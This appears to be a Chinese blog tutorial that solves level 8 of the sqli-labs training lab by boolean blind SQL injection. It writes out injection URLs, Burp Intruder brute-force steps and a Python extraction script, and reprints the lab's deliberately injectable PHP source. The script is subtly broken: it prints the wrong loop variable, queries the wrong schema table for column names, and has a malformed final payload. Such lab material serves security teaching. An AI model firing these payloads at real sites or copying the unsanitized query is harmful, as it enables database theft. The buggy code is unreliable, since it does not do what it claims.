SQL注入之布尔盲注——sql-lab第八关

布尔盲注简介

什么是盲注

盲注其实是sql注入的一种,之所以称为盲注是因为他不会根据你sql注入的攻击语句返回你想要知道的错误信息。
【之前在做联合注入第一关的时候,用union select语句注入,想要查询的信息是回显在Your password和 Your Login name后面,如下图。但是盲注不会回显让你直白的看出信息的(但是可能会有一些间接的回显信息),所以只能通过另外一种方式去获取我们的信息】
在这里插入图片描述
布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,从而达到注入的目的来获取信息

盲注分为两类:
1、布尔盲注——》 布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
2、时间盲注——》 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

需要用到的函数:

Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述

什么是布尔盲注

布尔盲注思路分析
不管是什么盲注,思想都是一样的——》爆破思想,也就是一个一个去尝试获得我们想要的数据

“盲”、“爆破思想”

布尔盲注的过程

1、找到注入点以及适合的注入语句(有些可能被过滤)
根据回显的不同来形成布尔盲注的判断条件
2、选择合适的字典,进行爆破(一般会选择26个字母+数字的组合)
可以使用burp suite自带的脚本(intruder),我们只需要提供字典来爆破
也可以自己写一个Python脚本来爆破出结果,利用Python的requests库

这里以sql-lab第八关为例

输入id=1看看:
在这里插入图片描述
step1、测试注入点(一些小tips:利用引号,and 1=1, or 1=1之类的)判断是字符型还是数字型
http://127.0.0.1/sqli/Less-8/?id=1’《——加个单引号没有回显
http://127.0.0.1/sqli/Less-8/?id=1’- -+《——用注释符注释的时发现有Your are in…这个回显
基本可以判断是字符型

输入http://127.0.0.1/sqli/Less-8/?id=1’ and 1- -+ ——》会返回you are in…
输入http://127.0.0.1/sqli/Less-8/?id=1’ and 0- -+——》会发现没有回显

输入http://127.0.0.1/sqli/Less-8/?id=1’ and (ascii(substr((select database()),1,1))=112)- -+——》如下图,无回显
所以这个数据库名的第一个字符并不是112所对应的字符
在这里插入图片描述
当输入http://127.0.0.1/sqli/Less-8/?id=1’ and (ascii(substr((select database()),1,1))=115)- -+——》115对应的字符是s
(因为做sql-lab1的时候知道数据库是security,第一个字符是s),而盲注是不知道是115的——》这时候可以利用burpsuite(可以从48(0)开始跑到122(z),就是从0开始一直到z的ascii,全部跑一遍)

在这里插入图片描述

理解: (ascii(substr((select database()),1,1))=112)这个整体是一个表达式,它会返回1或者0,返回1的时候会有回显(就是会出现you are in xxx),当这个表达式不正确的时候,就会出现空白,没有回显

演示用burp工具进行爆破:

爆破数据库名

设置代理:
在这里插入图片描述
注意:使用burp抓包的时候url一定要填写自己本机的ip,不要填写127.0.0.1,否则抓不了包
在这里插入图片描述
在这里插入图片描述
ipconfig查看后,可知ip为192.168.3.10
输入http://192.168.3.10/sqli/Less-8/?id=1’ and (ascii(substr((select database()),1,1))=48)- -+
在这里插入图片描述

send to intruder
在这里插入图片描述
先clear $,因为要爆破的是48这个值——》给48加上 $ ——》$ 48 $,攻击方式用sniper
再用payloads选择字典
在这里插入图片描述
点击start attack爆破
在这里插入图片描述
点击Response——》Render渲染页面:you are in 出现——》数据库名第一个字符ASCII为115
在这里插入图片描述
同理
在这里插入图片描述

爆破表名

http://192.168.3.10/sqli/Less-8/?id=1’ and (ascii(substr((select group_concat(table_name) from information_schema.tables where schema_name=‘security’),1,1))=48)- -+
一 一爆破

爆破列名

http://192.168.3.10/sqli/Less-8/?id=1’ and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=‘xxxx’),1,1))=48)- -+
一 一爆破

上面演示的是使用工具盲注,当然也可以自己去写一个盲注的脚本(用python写会比较轻松)

编写python脚本爆破

import requests
url="http://192.168.3.10/sqli/Less-8"
payload1="?id=1' and (length(database()))={} --+" #爆破 数据库长度
payload2="?id=1' and (ascii(substr((select database()),{},1))={})--+" #爆破数据库名
payload3="?id=1' and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='xxx'),1,1))={})--+"#爆破表名
payload4="?id=1' and (ascii(substr((select group_concat(column_name) from information_schema.tables where table_name='xxx'),1,1))={})--+"#爆破字段名
payload5="?id=1' and (ascii(substr((select group_concat(xxx) from xxx))={})--+"#爆破字段名对应的值
r=requests.session()#开启一个会话

for i in range(100):
	payload=payload1.format(str(i))
	print(url+payload)
	res=r.get(url+payload)
	if 'You are in' in res.text:
		print("位数为:%s"%i)
		break
		
for i in range(1,100):
	for j in range(48,123):
		payload=payload2.format(str(i),str(j))
		res=r.get(url+payload)
		print(url+payload)
		if 'You are in' in res.text:
			char=chr(i)
			print(i,char)
			break

sql-lab第八关布尔盲注代码index.php:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-8 Blind- Boolian- Single Quotes- String</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="5" color="#FFFF00">';
	//echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

</font> </div></br></br></br><center>
<img src="../images/Less-8.jpg" /></center>
</body>
</html>

发现一篇写的挺好的博客:https://blog.csdn.net/weixin_45146120/article/details/100104131?utm_source=app

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值